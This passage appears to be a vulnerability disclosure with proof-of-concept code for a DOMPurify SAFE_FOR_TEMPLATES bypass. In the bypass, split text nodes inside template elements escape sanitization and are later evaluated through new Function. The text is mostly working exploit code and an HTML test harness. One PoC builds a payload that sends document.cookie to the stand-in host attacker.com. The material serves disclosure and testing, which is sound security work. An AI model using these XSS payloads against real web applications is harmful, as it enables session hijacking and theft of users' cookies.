what survived inside the \u003ctemplate\u003e\nconst tmpl = sanitized.querySelector(\u0027template\u0027);\nconsole.log([...tmpl.content.childNodes].map(n =\u003e n.nodeValue));\n// [\"$\", \"{alert(document.domain)}\"] \u003c-- two separate text nodes, both \"clean\"\n\n// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()\n// before reading template content. This merges the adjacent nodes:\ntmpl.content.normalize();\nconsole.log(tmpl.content.textContent);\n// \"${alert(document.domain)}\" \u003c-- fully formed expression, past the sanitizer\n\n// Any template-literal evaluator now fires XSS:\nconst expr = tmpl.content.textContent;\nnew Function(`return \\`${expr}\\``)();\n// !! alert(document.domain) executes !!\n```\n\n---\n\n### PoC 2 - Session Hijacking via cookie exfiltration\n\n```javascript\n// Splits \"${document.location=\u0027//attacker.com/?c=\u0027+document.cookie}\"\n// \"{document.location=...}\" ends with a single \"}\" \u2014 does NOT match\n// MUSTACHE_EXPR\u0027s \"^[\\w\\W]*}}\" (requires double \"}}\"), so it survives.\nconst dirty =\n \u0027\u003ctemplate\u003e\u0027 +\n \u0027\u003cx-a\u003e$\u003c/x-a\u003e\u0027 +\n \u0027\u003cx-b\u003e{document.location=\"//attacker.com/?c=\"+document.cookie}\u003c/x-b\u003e\u0027 +\n \u0027\u003c/template\u003e\u0027;\n\nconst sanitized = DOMPurify.sanitize(dirty, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n});\n\nconst tmpl = sanitized.querySelector(\u0027template\u0027);\ntmpl.content.normalize();\n\nconsole.log(tmpl.content.textContent);\n// \"${document.location=\"//attacker.com/?c=\"+document.cookie}\"\n\n// Template engine evaluates it - victim\u0027s browser makes the request:\nnew Function(`return \\`${tmpl.content.textContent}\\``)();\n// !! Redirects victim to attacker.com with their full cookie string !!\n// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789\n```\n\n---\n\n### PoC 3 - End-to-end: realistic application context\n\nThis shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:\n\n```html\n\u003c!-- index.html - the vulnerable application --\u003e\n\u003cdiv id=\"output\"\u003e\u003c/div\u003e\n\u003cscript type=\"module\"\u003e\n import DOMPurify from \u0027./dist/purify.es.mjs\u0027;\n\n // Simulates fetching and rendering user-submitted comment\n async function renderComment(userHtml) {\n // Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine\n const dom = DOMPurify.sanitize(userHtml, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n });\n\n // Application iterates \u003ctemplate\u003e elements and evaluates their content\n // (common pattern in component-based frameworks)\n dom.querySelectorAll(\u0027template\u0027).forEach(tmpl =\u003e {\n tmpl.content.normalize(); // standard DOM housekeeping\n const content = tmpl.content.textContent;\n\n // Application uses template literals to interpolate user content into UI\n const rendered = new Function(\u0027user\u0027, `return \\`${content}\\``)({ name: \u0027World\u0027 });\n document.getElementById(\u0027output\u0027).innerHTML += rendered;\n });\n }\n\n // Attacker-supplied comment content\n const attackerComment =\n \u0027\u003ctemplate\u003e\u0027 +\n \u0027\u003cx-a\u003e$\u003c/x-a\u003e\u0027 +\n \u0027\u003cx-b\u003e{alert(\"XSS: \" + document.cookie)}\u003c/x-b\u003e\u0027 +\n \u0027\u003c/template\u003e\u0027;\n\n // Developer believes SAFE_FOR_TEMPLATES makes this safe \u2014 it does not for RETURN_DOM\n renderComment(attackerComment);\n // !! XSS fires, alert pops with session cookies !!\n\u003c/script\u003e\n```\n\n**Observed output:** `alert(\"XSS: \" + document.cookie)` executes in the victim\u0027s browser context, leaking session tokens to the attacker.\n\n---\n\n### PoC 4 - `IN_PLACE` mode (DOM input path)\n\n```javascript\n// Applicable when the application sanitizes DOM nodes directly\n// (e.g., content loaded into an iframe or received from a WebSocket)\n\nconst container = document.createElement(\u0027div\u0027);\nconst tmpl = document.createElement(\u0027template\u0027);\n\n// Adjacent text nodes - these would never appear in HTML-parsed content,\n// but CAN appear in programmatically constructed DOM or WebSocket messages\n// that are deserialised into DOM nodes before sanitisation.\ntmpl.content.appendChild(document.createTextNode(\u0027$\u0027));\ntmpl.content.appendChild(document.createTextNode(\u0027{alert(document.domain)}\u0027));\ncontainer.appendChild(tmpl);\n\n// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}\nDOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\n// Neither text node was modified - each passed the regex check individually\ncontainer.querySelector(\u0027template\u0027).content.normalize();\nconsole.log(container.querySelector(\u0027template\u0027).content.textContent);\n// \"${alert(document.domain)}\" \u003c-- survived in-place sanitization\n\nnew Function(`return \\`${container.querySelector(\u0027template\u0027).content.textContent}\\``)();\n// !! XSS fires !!\n```\n\nHTML File for testing\n```HTML\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n \u003cmeta charset=\"UTF-8\" /\u003e\n \u003ctitle\u003eDOMPurify SAFE_FOR_TEMPLATES Bypass - PoC\u003c/title\u003e\n \u003cscript src=\"dist/purify.js\"\u003e\u003c/script\u003e\n \u003cstyle\u003e\n * { box-sizing: border-box; margin: 0; padding: 0; }\n body {\n font-family: \u0027Segoe UI\u0027, system-ui, sans-serif;\n background: #0d1117;\n color: #e6edf3;\n padding: 32px;\n }\n h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }\n .subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; }\n .card {\n background: #161b22;\n border: 1px solid #30363d;\n border-radius: 8px;\n margin-bottom: 24px;\n overflow: hidden;\n }\n .card-header {\n display: flex;\n align-items: center;\n gap: 10px;\n padding: 14px 20px;\n border-bottom: 1px solid #30363d;\n background: #1c2128;\n }\n .badge {\n font-size: 0.72rem;\n font-weight: 700;\n padding: 2px 8px;\n border-radius: 4px;\n text-transform: uppercase;\n letter-spacing: 0.05em;\n }\n .badge-run { background: #1f6feb; color: #fff; }\n .badge-pass { background: #238636; color: #fff; }\n .badge-fail { background: #da3633; color: #fff; }\n .badge-warn { background: #9e6a03; color: #fff; }\n .card-title { font-size: 0.95rem; font-weight: 600; }\n .card-body { padding: 20px; }\n label { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; }\n pre {\n background: #0d1117;\n border: 1px solid #30363d;\n border-radius: 6px;\n padding: 14px;\n font-size: 0.82rem;\n line-height: 1.6;\n overflow-x: auto;\n margin-bottom: 14px;\n white-space: pre-wrap;\n word-break: break-all;\n }\n pre.result { border-color: #238636; background: #0a1a0f; }\n pre.escaped { border-color: #da3633; background: #1a0a0a; }\n pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }\n .grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }\n @media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }\n .arrow {\n text-align: center;\n font-size: 1.4rem;\n color: #8b949e;\n margin: 4px 0;\n }\n .xss-banner {\n display: none;\n background: #da3633;\n color: #fff;\n text-align: center;\n padding: 16px;\n font-size: 1.1rem;\n font-weight: 700;\n border-radius: 6px;\n margin-bottom: 24px;\n letter-spacing: 0.03em;\n }\n button {\n background: #238636;\n color: #fff;\n border: none;\n padding: 10px 22px;\n border-radius: 6px;\n font-size: 0.9rem;\n font-weight: 600;\n cursor: pointer;\n margin-right: 10px;\n margin-bottom: 8px;\n }\n button:hover { background: #2ea043; }\n button.danger { background: #da3633; }\n button.danger:hover { background: #f85149; }\n .note {\n background: #161b22;\n border-left: 3px solid #9e6a03;\n padding: 12px 16px;\n font-size: 0.82rem;\n color: #e3b341;\n border-radius: 0 6px 6px 0;\n margin-top: 14px;\n }\n #log {\n background: #0d1117;\n border: 1px solid #30363d;\n border-radius: 6px;\n padding: 14px;\n font-size: 0.8rem;\n font-family: monospace;\n min-height: 60px;\n max-height: 300px;\n overflow-y: auto;\n line-height: 1.8;\n }\n .log-ok { color: #3fb950; }\n .log-fail { color: #f85149; }\n .log-info { color: #8b949e; }\n .log-warn { color: #e3b341; }\n \u003c/style\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\n \u003ch1\u003e\ud83d\udd34 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass\u003c/h1\u003e\n \u003cp class=\"subtitle\"\u003e\n CVE candidate \u00b7 Template expression injection via \u0026lt;template\u0026gt; content \u00b7\n Affects: \u003ccode\u003eRETURN_DOM + SAFE_FOR_TEMPLATES\u003c/code\u003e and \u003ccode\u003eIN_PLACE + SAFE_FOR_TEMPLATES\u003c/code\u003e\n \u003c/p\u003e\n\n \u003cdiv id=\"xss-banner\" class=\"xss-banner\"\u003e\n \u26a0\ufe0f XSS CONFIRMED - Expression executed in this page\u0027s context\n \u003c/div\u003e\n\n \u003c!-- \u2500\u2500 Controls \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n \u003cdiv class=\"card\"\u003e\n \u003cdiv class=\"card-header\"\u003e\n \u003cspan class=\"badge badge-run\"\u003eControls\u003c/span\u003e\n \u003cspan class=\"card-title\"\u003eRun individual test cases\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"card-body\"\u003e\n \u003cbutton onclick=\"runAll()\"\u003e\u25b6 Run all tests\u003c/button\u003e\n \u003cbutton onclick=\"runPoC1()\"\u003ePoC 1 - alert()\u003c/button\u003e\n \u003cbutton onclick=\"runPoC2()\"\u003ePoC 2 - cookie exfil\u003c/button\u003e\n \u003cbutton onclick=\"runPoC3()\"\u003ePoC 3 - IN_PLACE\u003c/button\u003e\n \u003cbutton onclick=\"runControl()\"\u003eControl - string output (should block)\u003c/button\u003e\n \u003cdiv class=\"note\"\u003e\n PoC 1 uses \u003ccode\u003econfirm()\u003c/code\u003e instead of \u003ccode\u003ealert()\u003c/code\u003e so the page\n doesn\u0027t need a dismiss click to continue. Watch the red banner at the top.\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n \u003c!-- \u2500\u2500 PoC 1 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n \u003cdiv class=\"card\" id=\"card-poc1\"\u003e\n \u003cdiv class=\"card-header\"\u003e\n \u003cspan class=\"badge badge-run\" id=\"badge-poc1\"\u003ePENDING\u003c/span\u003e\n \u003cspan class=\"card-title\"\u003ePoC 1 - XSS via confirm() \u00b7 RETURN_DOM mode\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"card-body\"\u003e\n \u003cdiv class=\"grid\"\u003e\n \u003cdiv\u003e\n \u003clabel\u003eATTACKER INPUT - splits \u003ccode\u003e${\"{confirm(...)}\"}\u003c/code\u003e across two custom elements\u003c/label\u003e\n \u003cpre id=\"input-poc1\"\u003e\u003c/pre\u003e\n \u003c/div\u003e\n \u003cdiv\u003e\n \u003clabel\u003eAFTER DOMPurify.sanitize() - what survived in template.content\u003c/label\u003e\n \u003cpre class=\"result\" id=\"nodes-poc1\"\u003e\u003c/pre\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"arrow\"\u003e\u2193 template.content.normalize() \u2193\u003c/div\u003e\n \u003clabel\u003eMERGED TEXT NODE - fully formed expression after normalization\u003c/label\u003e\n \u003cpre class=\"highlight\" id=\"merged-poc1\"\u003e\u003c/pre\u003e\n \u003clabel\u003eEXECUTION RESULT\u003c/label\u003e\n \u003cpre id=\"exec-poc1\"\u003eNot run yet\u003c/pre\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n \u003c!-- \u2500\u2500 PoC 2 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n \u003cdiv class=\"card\" id=\"card-poc2\"\u003e\n \u003cdiv class=\"card-header\"\u003e\n \u003cspan class=\"badge badge-run\" id=\"badge-poc2\"\u003ePENDING\u003c/span\u003e\n \u003cspan class=\"card-title\"\u003ePoC 2 - Cookie exfiltration \u00b7 RETURN_DOM mode\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"card-body\"\u003e\n \u003cdiv class=\"grid\"\u003e\n \u003cdiv\u003e\n \u003clabel\u003eATTACKER INPUT - exfil payload split across custom elements\u003c/label\u003e\n \u003cpre id=\"input-poc2\"\u003e\u003c/pre\u003e\n \u003c/div\u003e\n \u003cdiv\u003e\n \u003clabel\u003eINDIVIDUAL TEXT NODES after sanitization (each \"clean\")\u003c/label\u003e\n \u003cpre class=\"result\" id=\"nodes-poc2\"\u003e\u003c/pre\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"arrow\"\u003e\u2193 template.content.normalize() \u2193\u003c/div\u003e\n \u003clabel\u003eMERGED EXPRESSION - what a template engine would evaluate\u003c/label\u003e\n \u003cpre class=\"highlight\" id=\"merged-poc2\"\u003e\u003c/pre\u003e\n \u003clabel\u003eSIMULATED EXECUTION (fetch URL that would be called)\u003c/label\u003e\n \u003cpre id=\"exec-poc2\"\u003eNot run yet\u003c/pre\u003e\n \u003cdiv class=\"note\"\u003e\n Real execution would redirect the victim to\n \u003ccode\u003eattacker.com\u003c/code\u003e carrying the session cookie.\n This PoC constructs the URL without actually sending it.\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n \u003c!-- \u2500\u2500 PoC 3 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n \u003cdiv class=\"card\" id=\"card-poc3\"\u003e\n \u003cdiv class=\"card-header\"\u003e\n \u003cspan class=\"badge badge-run\" id=\"badge-poc3\"\u003ePENDING\u003c/span\u003e\n \u003cspan class=\"card-title\"\u003ePoC 3 - XSS \u00b7 IN_PLACE mode (DOM node input)\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"card-body\"\u003e\n \u003cdiv class=\"grid\"\u003e\n \u003cdiv\u003e\n \u003clabel\u003eATTACKER PROVIDES - a DOM node with programmatically split text nodes\u003c/label\u003e\n \u003cpre id=\"input-poc3\"\u003e\u003c/pre\u003e\n \u003c/div\u003e\n \u003cdiv\u003e\n \u003clabel\u003eAFTER IN_PLACE sanitization - text nodes unchanged\u003c/label\u003e\n \u003cpre class=\"result\" id=\"nodes-poc3\"\u003e\u003c/pre\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"arrow\"\u003e\u2193 template.content.normalize() \u2193\u003c/div\u003e\n \u003clabel\u003eMERGED EXPRESSION\u003c/label\u003e\n \u003cpre class=\"highlight\" id=\"merged-poc3\"\u003e\u003c/pre\u003e\n \u003clabel\u003eEXECUTION RESULT\u003c/label\u003e\n \u003cpre id=\"exec-poc3\"\u003eNot run yet\u003c/pre\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n \u003c!-- \u2500\u2500 Control \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n \u003cdiv class=\"card\" id=\"card-ctrl\"\u003e\n \u003cdiv class=\"card-header\"\u003e\n \u003cspan class=\"badge badge-run\" id=\"badge-ctrl\"\u003ePENDING\u003c/span\u003e\n \u003cspan class=\"card-title\"\u003eControl - string output (default) MUST block the payload\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"card-body\"\u003e\n \u003clabel\u003eSame attacker input, but sanitized WITHOUT RETURN_DOM (string output path)\u003c/label\u003e\n \u003cpre id=\"input-ctrl\"\u003e\u003c/pre\u003e\n \u003cdiv class=\"arrow\"\u003e\u2193 DOMPurify.sanitize() - string path hits the regex scrub at line 2067 \u2193\u003c/div\u003e\n \u003clabel\u003eOUTPUT STRING - expression should be stripped\u003c/label\u003e\n \u003cpre id=\"output-ctrl\"\u003eNot run yet\u003c/pre\u003e\n \u003cdiv class=\"note\"\u003e\n The string output path is NOT vulnerable because\n \u003ccode\u003ebody.innerHTML\u003c/code\u003e serialises the template content into a\n flat string where the full \u003ccode\u003e${\"{...}\"}\u003c/code\u003e expression is visible\n and the final regex scrub catches it.\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n \u003c!-- \u2500\u2500 Log \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n \u003cdiv class=\"card\"\u003e\n \u003cdiv class=\"card-header\"\u003e\n \u003cspan class=\"badge badge-run\"\u003eLog\u003c/span\u003e\n \u003cspan class=\"card-title\"\u003eTest output\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"card-body\"\u003e\n \u003cdiv id=\"log\"\u003e\u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n\u003cscript\u003e\n// \u2500\u2500 Helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nlet xssConfirmed = false;\n\nfunction log(msg, type = \u0027info\u0027) {\n const el = document.getElementById(\u0027log\u0027);\n const line = document.createElement(\u0027div\u0027);\n line.className = \u0027log-\u0027 + type;\n line.textContent = \u0027[\u0027 + new Date().toLocaleTimeString() + \u0027] \u0027 + msg;\n el.appendChild(line);\n el.scrollTop = el.scrollHeight;\n}\n\nfunction setBadge(id, status) {\n const el = document.getElementById(\u0027badge-\u0027 + id);\n el.textContent = status;\n el.className = \u0027badge \u0027 + {\n PASS: \u0027badge-fail\u0027, // \"PASS\" here means the attack succeeded (bad for security)\n BLOCK: \u0027badge-pass\u0027, // \"BLOCK\" means DOMPurify correctly blocked it\n PENDING: \u0027badge-run\u0027,\n ERROR: \u0027badge-warn\u0027,\n }[status];\n}\n\nfunction markXSS(poc) {\n if (!xssConfirmed) {\n xssConfirmed = true;\n document.getElementById(\u0027xss-banner\u0027).style.display = \u0027block\u0027;\n }\n log(\u0027\ud83d\udd34 XSS CONFIRMED in \u0027 + poc + \u0027 - expression executed in page context\u0027, \u0027fail\u0027);\n}\n\n// \u2500\u2500 PoC 1: RETURN_DOM + alert \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runPoC1() {\n log(\u0027Running PoC 1 - RETURN_DOM + confirm()...\u0027, \u0027info\u0027);\n\n // IMPORTANT:\n // Build a REAL template DOM node with split TEXT nodes.\n // HTML parsing would merge adjacent text automatically,\n // so we construct the DOM programmatically.\n\n const container = document.createElement(\u0027div\u0027);\n const tmpl = document.createElement(\u0027template\u0027);\n\n tmpl.content.appendChild(document.createTextNode(\u0027$\u0027));\n tmpl.content.appendChild(\n document.createTextNode(\n \u0027{confirm(\"XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\\\nExpression executed in: \" + document.domain)}\u0027\n )\n );\n\n container.appendChild(tmpl);\n\n document.getElementById(\u0027input-poc1\u0027).textContent =\n \u0027template.content.childNodes[0].data = \"$\"\\\\n\u0027 +\n \u0027template.content.childNodes[1].data = \"{confirm(...)}\"\u0027;\n\n // Sanitize the DOM node itself\n const sanitized = DOMPurify.sanitize(container, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n });\n\n const tmplAfter = sanitized.querySelector(\u0027template\u0027);\n\n if (!tmplAfter) {\n document.getElementById(\u0027exec-poc1\u0027).textContent =\n \u0027Template element removed during sanitization\u0027;\n setBadge(\u0027poc1\u0027, \u0027ERROR\u0027);\n return;\n }\n\n const nodesBefore = [...tmplAfter.content.childNodes].map(\n n =\u003e JSON.stringify(n.nodeValue)\n );\n\n document.getElementById(\u0027nodes-poc1\u0027).textContent =\n \u0027childNodes[0].data = \u0027 + nodesBefore[0] + \u0027\\\\n\u0027 +\n \u0027childNodes[1].data = \u0027 + nodesBefore[1] + \u0027\\\\n\\\\n\u0027 +\n \u0027\u2192 Neither fragment matched individually.\u0027;\n\n log(\n \u0027PoC 1: Text nodes after sanitization: \u0027 +\n nodesBefore.join(\u0027, \u0027),\n \u0027warn\u0027\n );\n\n // Merge text nodes\n tmplAfter.content.normalize();\n\n const merged = tmplAfter.content.textContent;\n\n document.getElementById(\u0027merged-poc1\u0027).textContent = merged;\n\n log(\u0027PoC 1: After normalize() - merged text: \u0027 + merged, \u0027warn\u0027);\n\n try {\n const result = new Function(\u0027return `\u0027 + merged + \u0027`\u0027)();\n\n document.getElementById(\u0027exec-poc1\u0027).textContent =\n \u0027\u2714 Expression executed successfully\\\\n\u0027 +\n \u0027Returned: \u0027 + result;\n\n setBadge(\u0027poc1\u0027, \u0027PASS\u0027);\n markXSS(\u0027PoC 1\u0027);\n\n } catch (e) {\n document.getElementById(\u0027exec-poc1\u0027).textContent =\n \u0027Error: \u0027 + e.message;\n\n setBadge(\u0027poc1\u0027, \u0027ERROR\u0027);\n\n log(\u0027PoC 1 error: \u0027 + e.message, \u0027warn\u0027);\n }\n}\n\n// \u2500\u2500 PoC 2: cookie exfiltration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runPoC2() {\n log(\u0027Running PoC 2 - cookie exfiltration...\u0027, \u0027info\u0027);\n\n // Fake cookie for demonstration\n document.cookie = \u0027session=DEADBEEF_SECRET_TOKEN; path=/\u0027;\n\n // IMPORTANT:\n // Build REAL split text nodes programmatically.\n // Do NOT rely on HTML parsing.\n\n const container = document.createElement(\u0027div\u0027);\n const tmpl = document.createElement(\u0027template\u0027);\n\n tmpl.content.appendChild(document.createTextNode(\u0027$\u0027));\n\n tmpl.content.appendChild(\n document.createTextNode(\n \u0027{document.location=\"//attacker.com/steal?c=\"+document.cookie}\u0027\n )\n );\n\n container.appendChild(tmpl);\n\n document.getElementById(\u0027input-poc2\u0027).textContent =\n \u0027template.content.childNodes[0].data = \"$\"\\\\n\u0027 +\n \u0027template.content.childNodes[1].data = \"{document.location=...}\"\u0027;\n\n // Sanitize DOM node\n const sanitized = DOMPurify.sanitize(container, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n });\n\n const tmplAfter = sanitized.querySelector(\u0027template\u0027);\n\n if (!tmplAfter) {\n document.getElementById(\u0027exec-poc2\u0027).textContent =\n \u0027Template element removed during sanitization\u0027;\n\n setBadge(\u0027poc2\u0027, \u0027ERROR\u0027);\n\n log(\u0027PoC 2: template element missing after sanitize()\u0027, \u0027warn\u0027);\n\n return;\n }\n\n const nodes = [...tmplAfter.content.childNodes].map(\n n =\u003e JSON.stringify(n.nodeValue)\n );\n\n document.getElementById(\u0027nodes-poc2\u0027).textContent =\n \u0027Node 0: \u0027 + nodes[0] + \u0027\\\\n\u0027 +\n \u0027Node 1: \u0027 + nodes[1] + \u0027\\\\n\\\\n\u0027 +\n \u0027\u2192 Neither fragment individually matches template-expression regexes.\u0027;\n\n log(\u0027PoC 2: Nodes after sanitize: \u0027 + nodes.join(\u0027, \u0027), \u0027warn\u0027);\n\n // Merge adjacent text nodes\n tmplAfter.content.normalize();\n\n const merged = tmplAfter.content.textContent;\n\n document.getElementById(\u0027merged-poc2\u0027).textContent = merged;\n\n log(\u0027PoC 2: Merged expression: \u0027 + merged, \u0027warn\u0027);\n\n // Simulate framework evaluation\n try {\n new Function(\u0027return `\u0027 + merged + \u0027`\u0027)();\n\n const cookieValue = document.cookie;\n\n const stealUrl =\n \u0027//attacker.com/steal?c=\u0027 +\n encodeURIComponent(cookieValue);\n\n document.getElementById(\u0027exec-poc2\u0027).textContent =\n \u0027\u2714 Expression successfully evaluated\\\\n\\\\n\u0027 +\n \u0027Would redirect victim to:\\\\n\u0027 +\n stealUrl + \u0027\\\\n\\\\n\u0027 +\n \u0027Cookie exposed:\\\\n\u0027 +\n cookieValue;\n\n setBadge(\u0027poc2\u0027, \u0027PASS\u0027);\n\n markXSS(\u0027PoC 2\u0027);\n\n log(\u0027PoC 2: Would exfiltrate cookie \u2192 \u0027 + stealUrl, \u0027fail\u0027);\n\n } catch (e) {\n document.getElementById(\u0027exec-poc2\u0027).textContent =\n \u0027Error: \u0027 + e.message;\n\n setBadge(\u0027poc2\u0027, \u0027ERROR\u0027);\n\n log(\u0027PoC 2 error: \u0027 + e.message, \u0027warn\u0027);\n }\n}\n// \u2500\u2500 PoC 3: IN_PLACE mode \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runPoC3() {\n log(\u0027Running PoC 3 - IN_PLACE mode...\u0027, \u0027info\u0027);\n\n // Build DOM node manually (simulates attacker-controlled DOM input,\n // e.g. content parsed from a WebSocket message or an iframe)\n const container = document.createElement(\u0027div\u0027);\n const tmplEl = document.createElement(\u0027template\u0027);\n\n // Two separate text nodes - HTML parser merges them, but programmatic\n // DOM construction keeps them split. This is the IN_PLACE attack surface.\n tmplEl.content.appendChild(document.createTextNode(\u0027$\u0027));\n tmplEl.content.appendChild(document.createTextNode(\u0027{confirm(\"XSS via IN_PLACE - domain: \" + document.domain)}\u0027));\n container.appendChild(tmplEl);\n\n document.getElementById(\u0027input-poc3\u0027).textContent =\n \u0027// Programmatically constructed DOM node:\\n\u0027 +\n \u0027template.content.childNodes[0].data = \"$\"\\n\u0027 +\n \u0027template.content.childNodes[1].data = \"{confirm(\\\\\"XSS via IN_PLACE...\\\\\")}\"\\n\\n\u0027 +\n \u0027// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })\u0027;\n\n // Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression\n DOMPurify.sanitize(container, {\n IN_PLACE: true,\n SAFE_FOR_TEMPLATES: true,\n });\n\n const tmplAfter = container.querySelector(\u0027template\u0027);\n const nodesAfter = [...tmplAfter.content.childNodes].map(n =\u003e n.nodeValue);\n document.getElementById(\u0027nodes-poc3\u0027).textContent =\n \u0027childNodes[0].data = \u0027 + JSON.stringify(nodesAfter[0]) + \u0027\\n\u0027 +\n \u0027childNodes[1].data = \u0027 + JSON.stringify(nodesAfter[1]) + \u0027\\n\\n\u0027 +\n \u0027\u2192 _scrubTemplateExpressions() did not enter template.content\\n\u0027 +\n \u0027\u2192 Both nodes unchanged after sanitization.\u0027;\n\n log(\u0027PoC 3: Nodes after IN_PLACE sanitize: \u0027 + nodesAfter.map(n =\u003e JSON.stringify(n)).join(\u0027, \u0027), \u0027warn\u0027);\n\n tmplAfter.content.normalize();\n const merged = tmplAfter.content.textContent;\n document.getElementById(\u0027merged-poc3\u0027).textContent = merged;\n\n log(\u0027PoC 3: Merged: \u0027 + merged, \u0027warn\u0027);\n\n try {\n const result = new Function(\u0027return `\u0027 + merged + \u0027`\u0027)();\n document.getElementById(\u0027exec-poc3\u0027).textContent =\n \u0027\u2714 new Function() returned: \u0027 + result + \u0027\\n\u0027 +\n \u0027confirm() dialog shown. XSS confirmed via IN_PLACE mode.\u0027;\n setBadge(\u0027poc3\u0027, \u0027PASS\u0027);\n markXSS(\u0027PoC 3\u0027);\n } catch (e) {\n document.getElementById(\u0027exec-poc3\u0027).textContent = \u0027Error: \u0027 + 